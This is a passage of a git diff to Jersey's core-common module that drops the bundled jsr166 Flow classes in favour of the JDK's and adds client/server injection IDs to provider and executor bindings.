-     * Flow.Subscriber#onError(Throwable) onError} method is invoked on
-     * the existing subscription with an {@link IllegalStateException}.
-     * Otherwise, upon success, the Subscriber's {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} method is invoked
-     * asynchronously with a new {@link Flow.Subscription}.  If {@link
-     * Flow.Subscriber#onSubscribe onSubscribe} throws an exception, the
-     * subscription is cancelled. Otherwise, if this SubmittableFlowPublisher
-     * was closed exceptionally, then the subscriber's {@link
-     * Flow.Subscriber#onError onError} method is invoked with the
-     * corresponding exception, or if closed without exception, the
-     * subscriber's {@link Flow.Subscriber#onComplete() onComplete}
-     * method is invoked.  Subscribers may enable receiving items by
-     * invoking the {@link Flow.Subscription#request(long) request}
-     * method of the new Subscription, and may unsubscribe by invoking
-     * its {@link Flow.Subscription#cancel() cancel} method.
-     *
-     * @param subscriber the subscriber
-     * @throws NullPointerException if subscriber is null
-     */
-     void subscribe(Flow.Subscriber<? super T> subscriber);
-}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java b/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
deleted file mode 100644
index 1600d33..0000000
--- a/core-common/src/main/java/org/glassfish/jersey/internal/jsr166/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Contains a subset of classes repackaged from the jsr166 written by Doug Lea.
- * The subset contains JDK 9 Flow API (reactive streams).
- */
-package org.glassfish.jersey.internal.jsr166;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
index b479d19..6975fc5 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/JerseyPublisher.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,17 +18,15 @@
 
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Executor;
+import java.util.concurrent.Flow;
 import java.util.concurrent.ForkJoinPool;
 import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.SubmissionPublisher;
 import java.util.concurrent.TimeUnit;
 import java.util.function.BiPredicate;
 import java.util.function.Consumer;
 
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.jsr166.Flow;
-import org.glassfish.jersey.internal.jsr166.SubmissionPublisher;
-import org.glassfish.jersey.internal.jsr166.SubmissionPublisherFactory;
-import org.glassfish.jersey.internal.jsr166.SubmittableFlowPublisher;
 
 
 /**
@@ -41,7 +39,7 @@
 public class JerseyPublisher<T> implements Flow.Publisher<T> {
 
     private static final int DEFAULT_BUFFER_CAPACITY = 256;
-    private SubmittableFlowPublisher<T> submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher();
+    private SubmissionPublisher<T> submissionPublisher = new SubmissionPublisher<T>();
 
     private final PublisherStrategy strategy;
 
@@ -94,7 +92,7 @@
      */
     public JerseyPublisher(final Executor executor, final PublisherStrategy strategy) {
         this.strategy = strategy;
-        submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher(executor, DEFAULT_BUFFER_CAPACITY);
+        submissionPublisher = new SubmissionPublisher<T>(executor, DEFAULT_BUFFER_CAPACITY);
     }
 
 
@@ -132,7 +130,7 @@
      */
     public JerseyPublisher(final Executor executor, final int maxBufferCapacity, PublisherStrategy strategy) {
         this.strategy = strategy;
-        submissionPublisher = SubmissionPublisherFactory.createSubmissionPublisher(executor, maxBufferCapacity);
+        submissionPublisher = new SubmissionPublisher<T>(executor, maxBufferCapacity);
     }
 
     @Override
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
index ab95eaf..a63f789 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessageBodyFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -57,14 +57,15 @@
 
 import javax.xml.transform.Source;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.BootstrapBag;
 import org.glassfish.jersey.internal.BootstrapConfigurator;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.PropertiesDelegate;
 import org.glassfish.jersey.internal.guava.Primitives;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
@@ -103,9 +104,10 @@
         @Override
         public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) {
             messageBodyFactory = new MessageBodyFactory(bootstrapBag.getConfiguration());
-            InstanceBinding<MessageBodyFactory> binding =
+            Binding<MessageBodyFactory, ?> binding =
                     Bindings.service(messageBodyFactory)
-                            .to(MessageBodyWorkers.class);
+                            .to(MessageBodyWorkers.class)
+                            .id(InjectionIds.SERVER_MESSAGE_BODY_WORKERS.id());
             injectionManager.register(binding);
         }
 
diff --git a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
index 307f54f..d5b0e63 100644
--- a/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/message/internal/MessagingBinders.java
@@ -20,6 +20,7 @@
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Iterator;
+import java.util.LinkedHashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
@@ -33,9 +34,10 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.internal.util.Tokenizer;
 import org.glassfish.jersey.spi.HeaderDelegateProvider;
@@ -68,7 +70,7 @@
     /**
      * Message body providers injection binder.
      */
-    public static class MessageBodyProviders extends AbstractBinder {
+    public static class MessageBodyProviders extends InternalBinder {
 
         private final Map<String, Object> applicationProperties;
 
@@ -89,18 +91,28 @@
         protected void configure() {
 
             // Message body providers (both readers & writers)
-            bindSingletonWorker(ByteArrayProvider.class);
+            bindSingletonWorker(ByteArrayProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_BYTE_ARRAY_PROVIDER.id() : InjectionIds.SERVER_BYTE_ARRAY_PROVIDER.id());
             // bindSingletonWorker(DataSourceProvider.class);
-            bindSingletonWorker(FileProvider.class);
-            bindSingletonWorker(PathProvider.class);
-            bindSingletonWorker(FormMultivaluedMapProvider.class);
-            bindSingletonWorker(FormProvider.class);
-            bindSingletonWorker(InputStreamProvider.class);
-            bindSingletonWorker(BasicTypesMessageProvider.class);
-            bindSingletonWorker(ReaderProvider.class);
+            bindSingletonWorker(FileProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_FILE_PROVIDER.id() : InjectionIds.SERVER_FILE_PROVIDER.id());
+            bindSingletonWorker(PathProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_PATH_PROVIDER.id() : InjectionIds.SERVER_PATH_PROVIDER.id());
+            bindSingletonWorker(FormMultivaluedMapProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_MULTIVALUED_MAP_PROVIDER.id() : InjectionIds.SERVER_MULTIVALUED_MAP_PROVIDER.id());
+            bindSingletonWorker(FormProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_FORM_PROVIDER.id() : InjectionIds.SERVER_FORM_PROVIDER.id());
+            bindSingletonWorker(InputStreamProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_INPUT_STREAM_PROVIDER.id() : InjectionIds.SERVER_INPUT_STREAM_PROVIDER.id());
+            bindSingletonWorker(BasicTypesMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_BASIC_TYPES_PROVIDER.id() : InjectionIds.SERVER_BASIC_TYPES_PROVIDER.id());
+            bindSingletonWorker(ReaderProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_READER_PROVIDER.id() : InjectionIds.SERVER_READER_PROVIDER.id());
             // bindSingletonWorker(RenderedImageProvider.class); - enabledProvidersBinder
-            bindSingletonWorker(StringMessageProvider.class);
-            bindSingletonWorker(EnumMessageProvider.class);
+            bindSingletonWorker(StringMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_STRING_MESSAGE_PROVIDER.id() : InjectionIds.SERVER_STRING_MESSAGE_PROVIDER.id());
+            bindSingletonWorker(EnumMessageProvider.class, runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_ENUM_MESSAGE_PROVIDER.id() : InjectionIds.SERVER_ENUM_MESSAGE_PROVIDER.id());
 
             // Message body readers -- enabledProvidersBinder
             // bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
@@ -111,7 +123,10 @@
              */
 
             // Message body writers
-            bind(StreamingOutputProvider.class).to(MessageBodyWriter.class).in(Singleton.class);
+            bind(StreamingOutputProvider.class).to(MessageBodyWriter.class).in(Singleton.class)
+                    .id(runtimeType == RuntimeType.CLIENT
+                            ? InjectionIds.CLIENT_STREAMING_OUTPUT_PROVIDER.id()
+                            : InjectionIds.SERVER_STREAMING_OUTPUT_PROVIDER.id());
             // bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class); - enabledProvidersBinder
 
             final EnabledProvidersBinder enabledProvidersBinder = new EnabledProvidersBinder();
@@ -120,42 +135,54 @@
                         String.valueOf(applicationProperties.get(CommonProperties.PROVIDER_DEFAULT_DISABLE))
                 );
             }
-            enabledProvidersBinder.bindToBinder(this);
+            enabledProvidersBinder.bindToBinder(this, runtimeType);
 
             // Header Delegate Providers registered in META-INF.services
             install(new ServiceFinderBinder<>(HeaderDelegateProvider.class, applicationProperties, runtimeType));
         }
 
-        private <T extends MessageBodyReader & MessageBodyWriter> void bindSingletonWorker(final Class<T> worker) {
-            bind(worker).to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+        private <T extends MessageBodyReader & MessageBodyWriter> void bindSingletonWorker(final Class<T> worker, long id) {
+            bind(worker).to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class).id(id);
         }
     }
 
     /**
      * Header delegate provider injection binder.
      */
-    public static class HeaderDelegateProviders extends AbstractBinder {
+    public static class HeaderDelegateProviders extends InternalBinder {
 
-        private final Set<HeaderDelegateProvider> providers;
+        private final Map<HeaderDelegateProvider, Integer> providers;
+        private final RuntimeType runtimeType;
 
-        public HeaderDelegateProviders() {
-            Set<HeaderDelegateProvider> providers = new HashSet<>();
-            providers.add(new CacheControlProvider());
-            providers.add(new CookieProvider());
-            providers.add(new DateProvider());
-            providers.add(new EntityTagProvider());
-            providers.add(new LinkProvider());
-            providers.add(new LocaleProvider());
-            providers.add(new MediaTypeProvider());
-            providers.add(new NewCookieProvider());
-            providers.add(new StringHeaderProvider());
-            providers.add(new UriProvider());
+        public HeaderDelegateProviders(RuntimeType runtimeType) {
+            this.runtimeType = runtimeType;
+            Map<HeaderDelegateProvider, Integer> providers = new LinkedHashMap<>();
+            providers.put(new CacheControlProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_CACHE_CONTROL_PROVIDER.id() : InjectionIds.SERVER_CACHE_CONTROL_PROVIDER.id());
+            providers.put(new CookieProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_COOKIE_PROVIDER.id() : InjectionIds.SERVER_COOKIE_PROVIDER.id());
+            providers.put(new DateProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_DATE_PROVIDER.id() : InjectionIds.SERVER_DATE_PROVIDER.id());
+            providers.put(new EntityTagProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_ENTITY_TAG_PROVIDER.id() : InjectionIds.SERVER_ENTITY_TAG_PROVIDER.id());
+            providers.put(new LinkProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_LINK_PROVIDER.id() : InjectionIds.SERVER_LINK_PROVIDER.id());
+            providers.put(new LocaleProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_LOCALE_PROVIDER.id() : InjectionIds.SERVER_LOCALE_PROVIDER.id());
+            providers.put(new MediaTypeProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_MEDIA_TYPE_PROVIDER.id() : InjectionIds.SERVER_MEDIA_TYPE_PROVIDER.id());
+            providers.put(new NewCookieProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_NEW_COOKIE_PROVIDER.id() : InjectionIds.SERVER_NEW_COOKIE_PROVIDER.id());
+            providers.put(new StringHeaderProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_STRING_HEADER_PROVIDER.id() : InjectionIds.SERVER_STRING_HEADER_PROVIDER.id());
+            providers.put(new UriProvider(), runtimeType == RuntimeType.CLIENT
+                    ? InjectionIds.CLIENT_URI_PROVIDER.id() : InjectionIds.SERVER_URI_PROVIDER.id());
             this.providers = providers;
         }
 
         @Override
         protected void configure() {
-            providers.forEach(provider -> bind(provider).to(HeaderDelegateProvider.class));
+            providers.forEach((provider, id) -> bind(provider).to(HeaderDelegateProvider.class).id(id));
         }
 
         /**
@@ -164,7 +191,7 @@
          * @return all internally registered {@link HeaderDelegateProvider}.
          */
         public Set<HeaderDelegateProvider> getHeaderDelegateProviders() {
-            return providers;
+            return providers.keySet();
         }
     }
 
@@ -208,7 +235,7 @@
             }
         }
 
-        private void bindToBinder(AbstractBinder binder) {
+        private void bindToBinder(InternalBinder binder, RuntimeType runtimeType) {
             ProviderBinder providerBinder = null;
             for (Provider provider : enabledProviders) {
                 if (isClass(provider.className)) {
@@ -232,7 +259,7 @@
                             providerBinder = new StreamSourceBinder();
                             break;
                     }
-                    providerBinder.bind(binder, provider);
+                    providerBinder.bind(binder, provider, runtimeType);
                 } else {
                     if (warningMap.get(provider).compareAndSet(false, true)) {
                         switch (provider) {
@@ -261,50 +288,67 @@
         }
 
         private interface ProviderBinder {
-            void bind(AbstractBinder binder, Provider provider);
+            void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType);
         }
 
         private static class DataSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
                 binder.bind(DataSourceProvider.class)
-                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_DATA_SOURCE_PROVIDER.id()
+                                : InjectionIds.SERVER_DATA_SOURCE_PROVIDER.id());
             }
         }
 
         private static class DomSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.DomSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.DomSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_DOM_SOURCE_READER.id()
+                                : InjectionIds.SERVER_DOM_SOURCE_READER.id());
             }
         }
 
         private static class RenderedImageBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
                 binder.bind(RenderedImageProvider.class)
-                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class);
+                        .to(MessageBodyReader.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_RENDERED_IMAGE_PROVIDER.id()
+                                : InjectionIds.SERVER_RENDERED_IMAGE_PROVIDER.id());
             }
         }
 
         private static class SaxSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.SaxSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.SaxSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_SAX_SOURCE_READER.id()
+                                : InjectionIds.SERVER_SAX_SOURCE_READER.id());
             }
         }
 
         private static class SourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.SourceWriter.class).to(MessageBodyWriter.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.CLIENT_SOURCE_WRITER.id()
+                                : InjectionIds.SERVER_SOURCE_WRITER.id());
             }
         }
 
         private static class StreamSourceBinder implements ProviderBinder {
             @Override
-            public void bind(AbstractBinder binder, Provider provider) {
-                binder.bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class);
+            public void bind(InternalBinder binder, Provider provider, RuntimeType runtimeType) {
+                binder.bind(SourceProvider.StreamSourceReader.class).to(MessageBodyReader.class).in(Singleton.class)
+                        .id(runtimeType == RuntimeType.CLIENT
+                                ? 2075 : 3075);
             }
         }
     }
diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
index 1afa8c1..4d963f1 100644
--- a/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
+++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/CommonConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -42,16 +42,14 @@
 import jakarta.ws.rs.core.Feature;
 import jakarta.ws.rs.core.FeatureContext;
 
-import jakarta.annotation.Priority;
-
 import org.glassfish.jersey.ExtendedConfig;
 import org.glassfish.jersey.JerseyPriorities;
+import org.glassfish.jersey.innate.inject.CompositeBinder;
+import org.glassfish.jersey.innate.inject.ProviderBinder;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.ServiceFinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.ProviderBinder;
 import org.glassfish.jersey.internal.spi.AutoDiscoverable;
 import org.glassfish.jersey.internal.spi.ForcedAutoDiscoverable;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
diff --git a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
index 08f321c..88beaad 100644
--- a/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
+++ b/core-common/src/main/java/org/glassfish/jersey/model/internal/ComponentBag.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,14 @@
 import jakarta.inject.Scope;
 
 import org.glassfish.jersey.Severity;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.Errors;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.model.ContractProvider;
 import org.glassfish.jersey.process.Inflector;
@@ -214,7 +214,7 @@
      * methods for getting classes and instances {@link ComponentBag#getClasses(Predicate)} and
      * {@link ComponentBag#getInstances(Predicate)}.
      * <p>
-     * Method selects all {@link org.glassfish.jersey.internal.inject.Binding bindings} and picks up the instances or creates
+     * Method selects all {@link Binding bindings} and picks up the instances or creates
      * the instances from {@link ClassBinding} (injection does not work at this moment).
      *
      * @param injectionManager injection manager to create an object from {@code T} class.
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
index 2a9c8b4..7ee23d8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/AbstractExecutorProvidersConfigurator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,6 +28,8 @@
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
 import org.glassfish.jersey.spi.ScheduledExecutorServiceProvider;
 
+import jakarta.ws.rs.RuntimeType;
+
 /**
  * Abstract Configurator which initializes and register {@link ExecutorServiceProvider} and
  * {@link ScheduledExecutorServiceProvider}.
@@ -57,7 +59,8 @@
             ComponentBag componentBag,
             ExecutorServiceProvider defaultAsyncExecutorProvider,
             ScheduledExecutorServiceProvider defaultScheduledExecutorProvider,
-            ManagedObjectsFinalizer finalizer) {
+            ManagedObjectsFinalizer finalizer,
+            RuntimeType runtimeType) {
 
         List<ExecutorServiceProvider> customExecutors =
                 Stream.concat(
@@ -79,6 +82,6 @@
         customScheduledExecutors.add(defaultScheduledExecutorProvider);
         customScheduledExecutors.stream().forEach(e -> finalizer.registerForPreDestroyCall(e));
 
-        ExecutorProviders.registerExecutorBindings(injectionManager, customExecutors, customScheduledExecutors);
+        ExecutorProviders.registerExecutorBindings(injectionManager, customExecutors, customScheduledExecutors, runtimeType);
     }
 }
diff --git a/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java b/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
index 2a71beb..2f231bb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
+++ b/core-common/src/main/java/org/glassfish/jersey/process/internal/ExecutorProviders.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,19 +25,22 @@
 import java.util.Set;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.ScheduledExecutorService;
+import java.util.function.Supplier;
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
 import jakarta.inject.Named;
 import jakarta.inject.Qualifier;
 import jakarta.inject.Singleton;
+import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InjectionIds;
 import org.glassfish.jersey.internal.LocalizationMessages;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.ReflectionHelper;
 import org.glassfish.jersey.spi.ExecutorServiceProvider;
@@ -68,13 +71,13 @@
      *
      * @param injectionManager application's injection manager.
      */
-    public static void registerExecutorBindings(InjectionManager injectionManager) {
+    public static void registerExecutorBindings(InjectionManager injectionManager, RuntimeType runtimeType) {
         List<ExecutorServiceProvider> executorProviders =
                 getExecutorProviders(injectionManager, ExecutorServiceProvider.class);
         List<ScheduledExecutorServiceProvider> scheduledProviders =
                 getExecutorProviders(injectionManager, ScheduledExecutorServiceProvider.class);
 
-        registerExecutorBindings(injectionManager, executorProviders, scheduledProviders);
+        registerExecutorBindings(injectionManager, executorProviders, scheduledProviders, runtimeType);
     }
 
     private static <T> List<T> getExecutorProviders(InjectionManager injectionManager, Class<T> providerClass) {
@@ -103,7 +106,8 @@
     public static void registerExecutorBindings(
             InjectionManager injectionManager,
             List<ExecutorServiceProvider> executorProviders,
-            List<ScheduledExecutorServiceProvider> scheduledProviders) {
+            List<ScheduledExecutorServiceProvider> scheduledProviders,
+            RuntimeType runtimeType) {
 
         Map<Class<? extends Annotation>, List<ExecutorServiceProvider>> executorProviderMap =
                 getQualifierToProviderMap(executorProviders);
@@ -119,10 +123,14 @@
             ExecutorServiceProvider executorProvider = bucketProviderIterator.next();
             logExecutorServiceProvider(qualifierAnnotationClass, bucketProviderIterator, executorProvider);
 
-            SupplierInstanceBinding<ExecutorService> descriptor =
+            Binding<Supplier<ExecutorService>, ?> descriptor =
                     Bindings.supplier(new ExecutorServiceSupplier(executorProvider))
                             .in(Singleton.class)
-                            .to(ExecutorService.class);
+                            .to(ExecutorService.class)
+//                            .forClient(runtimeType == RuntimeType.CLIENT)
+                            .id(runtimeType == RuntimeType.CLIENT
+                                ? InjectionIds.COMMON_EXECUTOR_SERVICE_CLIENT.id()
+                                : InjectionIds.COMMON_EXECUTOR_SERVICE_SERVER.id());
 
             Annotation qualifier = executorProvider.getClass().getAnnotation(qualifierAnnotationClass);
             if (qualifier instanceof Named) {
@@ -148,10 +156,14 @@
             ScheduledExecutorServiceProvider executorProvider = bucketProviderIterator.next();
             logScheduledExecutorProvider(qualifierAnnotationClass, bucketProviderIterator, executorProvider);
 
-            SupplierInstanceBinding<ScheduledExecutorService> descriptor =
+            Binding<Supplier<ScheduledExecutorService>, ?> descriptor =
                     Bindings.supplier(new ScheduledExecutorServiceSupplier(executorProvider))
                             .in(Singleton.class)
-                            .to(ScheduledExecutorService.class);
+                            .to(ScheduledExecutorService.class)
+//                            .forClient(runtimeType == RuntimeType.CLIENT)
+                            .id(runtimeType == RuntimeType.CLIENT
+                                    ? InjectionIds.COMMON_SCHEDULED_EXECUTOR_SERVICE_CLIENT.id()
+                                    : InjectionIds.COMMON_SCHEDULED_EXECUTOR_SERVICE_SERVER.id());
 
             if (!executorProviderMap.containsKey(qualifierAnnotationClass)) {
                 // it is safe to register binding for ExecutorService too...
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
index b7d0472..790d92f 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,6 +16,7 @@
